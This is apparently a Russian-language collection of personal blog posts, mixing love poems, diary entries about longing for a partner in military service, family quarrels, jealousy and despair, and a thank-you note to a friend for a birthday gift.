я не замечаю грязи на асфальте, и окружающую меня вражду.
бабочки в моём животе делают сальто.
я тебя жду.

и тебе в пору писать книгу "как встретиться с человеком, которого я ненавижу, чтобы заслужить мое презрение". смешно.

Мне, кажется, крышу снесет:
Такое паршивое настроение.
Хочется бросить все,
И уснуть на его коленях.

Иногда я так его ненавижу, что хочу убить.

Кажется, это было в субботу. Он разбудил меня, и я сначала не поняла, в чем дело. Спрашиваю, мол, что не так? А он взглядом указывает на свою шею. Говорит: "Ты меня чуть не придушила". Пока мы мирно спали, моя рука подбиралась все ближе к его шее, сжимала ее все сильнее, пока он не начал все чувствовать и задыхаться. А я даже не заметила этого. То ли подсознание шалит, то ли он прикалывается, но это жутко. Жутко от того, что я иногда хочу сжать руку на его горле, будучи в здравом уме.

перестань намекать на постель -
ведь проблем не решают объятьем.
я сегодня надену Шанель –
буду
в маленьком
черном
платье.
хватит «гнать» романтичную чушь.
видишь, лед уже в виски растаял?
ах, какая нестойкая тушь…
только плакать у нас – против правил.

где ты ангелов видел с тату?
с интеллектом таким аморальным?
так старался, а выбрал не ту…
что ж бывает, не все идеальны.

Гвоздем в висок,
пусть спишут на головную боль.
Сказал, как отрезал.
Сказал - разрубил.

" Я тебя никогда не любил"

и не знаю, хорошо это или очень плохо, но увидимся мы уже в это воскресенье. и я боюсь. я вообще страшная трусиха, но сейчас особенно. например, боюсь разрыдаться во время присяги от гордости или от восторга, боюсь повиснуть на нем. но зато я бегаю быстрее его мамы и бабушки, поэтому все равно буду первая.
господи, так жутко скучать по одному-единственному человеку и жить без личного самолета.

я соскучился. не знаю даже почему.
просто проснулся сегодня и вдруг подумал о тебе.
представил твою улыбку и улыбнулся в ответ.
представил, как касаюсь ладонью твоей щеки.
наверное, правда, соскучился. ненормальный.
все знают, что я ненормальный. и я всегда таким был.
просто рядом с тобой я мог этого не скрывать.
я мог быть таким, каким мне хотелось быть.
знаешь, я очень соскучился…

Ben Whishaw as Q in Spectre [x]

Меня только что обвинили в одиночестве, и кто - сестра. Это мерзко. Да. у нас ужасные отношенения с сестрой.. стали три года назад, но все же. Если правда колит глаза, зачем же срываться на всем мире и унижать так меня, я просто указала на ее неправоту, разве так не должны поступать родственники, ведь кто скажет настоящее, кроме родственников?!

Знаете, что ранит? То, что ты заботишься о них больше, чем они о тебе, то, что ты сделаешь для них все, что угодно, и защитишь от кого угодно, но им на это наплевать. Самое ужасное - это то, что ты заботишься о них слишком много, и потому начинаешь верить, что ты - это все, о чем они думают. А на на самом деле твое имя никогда не звучит у них в голове. Все, что ты делаешь - это живешь с боязнью однажды потерять их. Потому что ты никогда не сможешь отпустить их.

я все лежал и думал о тебе,
а ты так громко мне в плечо дышала,
я самым был счастливым на земле,
а ты спала и ничего не знала.

Любовь внушает нам благоговейное чувство к самим себе, мы чтим в нас другую жизнь: любовь становится ужаснейшим из несчастий - несчастьем, не лишенным надежды, и надежда эта заставляет нас терпеть пытку.

я так обабилась, что вступила в группу "я жду солдата" и периодически смотрю видосы с тем, как они наконец возвращаются и сходят с поезда. ну и реву во время просмотра, соответственно.
тем временем, прошел один месяц. ОДИН. ну и еще несколько дней.

как же хочется засыпать и просыпаться в объятиях любимого человека

Хочешь, выжми меня без остатка,
Как кусочек лимона для чая,
И налей в свою душу украдкой,
Потому что безумно скучаю…

Потому что мурашки по коже
От любви и от мыслей горячих,
Потому что всю жизнь подытожив,
Ты один будешь максимум значить…

и эти остатки лета в сентябре.
уже совсем не радуют,
и эти чертовы бабочки во мне,
отчаянно пытаются взлететь,

но падают.

самое дурацкое что эта ревность меня пожирает… ненавижу когда я по нему скучаю а ему весело и без меня… ни одного сообщения за вечер… просто напился, отдахнул с друзьями и лег спать.. а где же я ? АХ ДА Я ЖЕ В ГОРКАХ… СПАСИБО ЛЮБИМЫЙ ЗА ВНИМАНИЕ

Все же нет причины броситься под поезд.
Жить можно же любую боль терпя.
И даже если я в дерьме по пояс.
И даже если по уши в тебя.

Мы так мало вместе и мои слова о любви сейчас будут звучать громко, но я с полной уверенностью могу сказать, что рядом с ним мне так хорошо, легко и комфортно.Он любит меня как 10-тилетний мальчик."Мне плевать! Хотя бы на 5 минут, но мы увидимся"-говорит он.Он приходит ко мне на работу и сидит там ночами и ему плевать на то, что ему скажут родители, но он тащит меня к себе домой в 4 утра, когда я немного замерзаю, заливает в меня горячий чай и кутает в одеяло. Рядом с ним я чувствую себя маленький беспомощным ребёнком. А ведь я так не хотела быть с ним, хотела сохранить нашу дружбу.Он мне нравился как друг, но когда он стал чем-то большим я поняла, что уже не смогу прожить ни дня без его сильных тёплых рук, его добрых слов и сверкающих глаз.Никогда не думала, что кто-то может любить меня так, как это делает он.У него это выходит как-то по-своему чудесно. Думаю, это то, что мне нужно было.Он будто спас меня. Бог знает, что бы было со мной. Наверное я бы не выходила из своих запоев, закидывалась бы и спала с кем попало(в общем полное дно), а ведь я на краю стояла и уже даже ногу вперёд вытянула. Я была в состоянии полнейшего безразличия к окружающим, к миру, к друзьям, родителям, к себе….Спасибо тебе, Милый, ты спас мою душу(хотя ты и атеист).

я чувствую на себе их ядовитые взгляды.

они смотрят, но не видят. судят, но не знают. требуют, но не понимают.

кто вырвет меня из этого кошмара?

я хороню себя под осколками стекла, под словами, под обещаниями. я пытаюсь стать подходящим для них, соответствовать, быть достаточно хорошим. продолжайте, оскорбления от вас станут похвалой, а тычки - дружеским похлопыванием по плечу. мне не обидно.

разве мне много нужно? я просто хочу, чтобы вы поняли, мои чувства - не повод для насмешек. я не выбирал, каким родиться, не желал быть таким.

правда в том, что я пытаюсь спрятаться не от них и их слов и взглядов. я пытаюсь спрятаться от человека, которого каждый день вижу в зеркале. он - источник всех проблем.

они говорят, что нужно меньше ныть. они говорят, что нужно меньше жалеть себя. они говорят, что нужно меньше лить слёз. потому что это н е н о р м а л ь н о.

и знаешь, что? я старался изо всех грёбаных сил, но всё, что мне удалось - заставить их на секунду поверить, будто у меня получилось, я стал нормальным. но всё, чем это было - грязным притворством, насилием, разочарованием. в итоге мы всегда возвращаемся к тому, с чего начали. они постоянно чего-то требуют и будут продолжать. но не скажут тебе, как это сделать.

но мы все разные, ясно? никто не может указывать тебе, что ты должен чувствовать или думать.

— x

вот эти заветные слова "Я тебя люблю" для меня ничего не значат. Вот абсолютно. Слова вобще ничего не значат. Хотя при этом друга заставляю говорить, что он меня любит)

Но слова все ранвно ничего не значат

Мужчинки вы мои все бывшие. Общий вопрос лично к каждому. Почему все ваши девушки, которые после меня, у вас такие страшные? Я так испортила вам жизнь, что вы, спасаясь от меня, как от чумы, готовы бежать к кому угодно? Ну хоть убей, не понимаю. Мне даже обидно, что у меня, видимо, не получилось привить вам хоть немного вкуса..

Хотя, возможно, это в силу того, что я сама от вас уходила.. И с выбором немного у вас были трудности..

лена, напишу здесь, вдруг ты не очень часто проверяешь сообщения, или сидишь с мобильного, или еще что, в общем: спасибо тебе огромное за посылку, я восторге и конвульсиях, а главное - это сюрприз! ты писала конечно, что хочешь отправить подарок мне на день рождения, но я этого вообще не ожидала, заглянула в почтовый ящик забрать извещение о другой посылке, а там их два. :) очень приятно. я провела день рождения очень хорошо, спасибо друзьям и семье за это, так что все, как ты завещала! и да, увидела плутон) и арбенина непосредственно присутствовала при всем этом в виде экрана на кухне, пока готовили праздничный обед) насчет книги: тема, кажется, очень актуальна для меня, да и об элисон бехдель я уже столько всего слышала, что в самый раз уже прочесть что-нибудь у нее, так что ты как всегда как нельзя кстати. и за вкусные (и кажется даже полезные?)) печеньки тоже отдельное спасибо. в общем, ты меня несказанно порадовала и удивила. просто не знаю как выразить благодарность и тебе, и всем, кто поздравил, чувствую себя каким-то неблагодарным существом, но мне правда очень приятно! в общем, пока не наговорила лишнего: спасибо еще раз и удачи тебе с поступлением (!)